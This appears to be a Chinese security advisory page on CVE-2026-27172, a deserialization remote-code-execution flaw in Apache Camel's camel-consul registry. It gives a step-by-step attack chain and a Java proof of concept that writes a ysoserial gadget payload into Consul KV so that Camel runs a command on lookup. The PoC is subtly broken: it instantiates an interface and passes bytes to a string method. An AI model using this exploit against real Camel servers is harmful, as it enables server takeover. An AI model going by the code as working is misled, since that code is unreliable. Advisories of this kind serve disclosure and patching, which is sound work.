IPBUF安全漏洞报告
English
CVE-2026-27172 CVSS 8.8 高危

CVE-2026-27172 Apache Camel反序列化漏洞

披露日期: 2026-04-27

漏洞信息

漏洞编号
CVE-2026-27172
漏洞类型
反序列化漏洞 / 远程代码执行 (RCE)
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Apache Camel

相关标签

反序列化RCEApache CamelCVE-2026-27172Consul

漏洞概述

Apache Camel的camel-consul组件存在严重的反序列化漏洞。ConsulRegistry在处理从Consul KV存储读取的Java序列化数据时,未配置ObjectInputFilter保护机制。若攻击者具备Consul KV的写入权限,可注入恶意序列化对象。当Camel进程访问该注册表时,将触发反序列化操作,导致在服务器端执行任意代码,存在极高安全风险。

技术细节

该漏洞源于Apache Camel组件`camel-consul`中的`ConsulRegistry`类及其内部工具类`ConsulRegistryUtils`的`deserialize`方法。该方法直接调用了`ObjectInputStream.readObject()`来还原从Consul KV存储获取的数据,且未配置`ObjectInputFilter`进行安全校验。攻击者利用此漏洞的前提是能够向Consul KV存储中写入数据。攻击者可使用ysoserial等工具生成基于特定Gadget链(如CommonsCollections)的恶意序列化字节流,并将其写入Camel应用监听的KV路径。一旦Camel应用触发对该键值的查找操作,恶意对象将被反序列化,进而导致远程代码执行(RCE),攻击者可获得系统控制权。

攻击链分析

STEP 1
1. 权限获取
攻击者获取对Consul KV存储的写入权限,这是利用该漏洞的前提条件。
STEP 2
2. 构造Payload
使用ysoserial等工具生成包含恶意命令的Java序列化对象(利用Gadget链)。
STEP 3
3. 注入Payload
将生成的恶意序列化数据写入Consul KV存储中Camel ConsulRegistry监听的特定键值路径。
STEP 4
4. 触发反序列化
等待或诱导Camel应用程序执行注册表查找操作,读取被污染的KV数据。
STEP 5
5. 执行代码
Camel进程在反序列化数据时触发漏洞,解析并执行恶意代码,导致服务器被控制。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import com.ecwid.consul.v1.ConsulClient; import com.ecwid.consul.v1.kv.model.PutParams; import ysoserial.payloads.ObjectPayload; import ysoserial.payloads.util.PayloadRunner; public class CVE202627172Exploit { public static void main(String[] args) throws Exception { // 1. Generate malicious serialized object using ysoserial // Example using CommonsCollections7 String command = "touch /tmp/pwned"; ObjectPayload payload = new ObjectPayload<>(ysoserial.payloads.CommonsCollections7.class); byte[] serializedData = payload.getObject(command); // 2. Write the payload to Consul KV // The target Camel application must be configured to read this specific key String consulHost = "127.0.0.1"; int consulPort = 8500; String keyPath = "camel/registry/maliciousKey"; ConsulClient consulClient = new ConsulClient(consulHost, consulPort); consulClient.setKVValue(keyPath, serializedData); System.out.println("Payload written to Consul KV: " + keyPath); System.out.println("Wait for Camel to perform a lookup..."); } }

影响范围

Apache Camel >= 3.0.0, < 4.14.6
Apache Camel >= 4.15.0, < 4.18.1

防御指南

临时缓解措施
限制对Consul KV存储的写入权限,仅允许受信任的服务写入。检查并清理Consul KV存储中已存在的可疑数据。在网络层面对Consul服务进行严格的访问控制。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表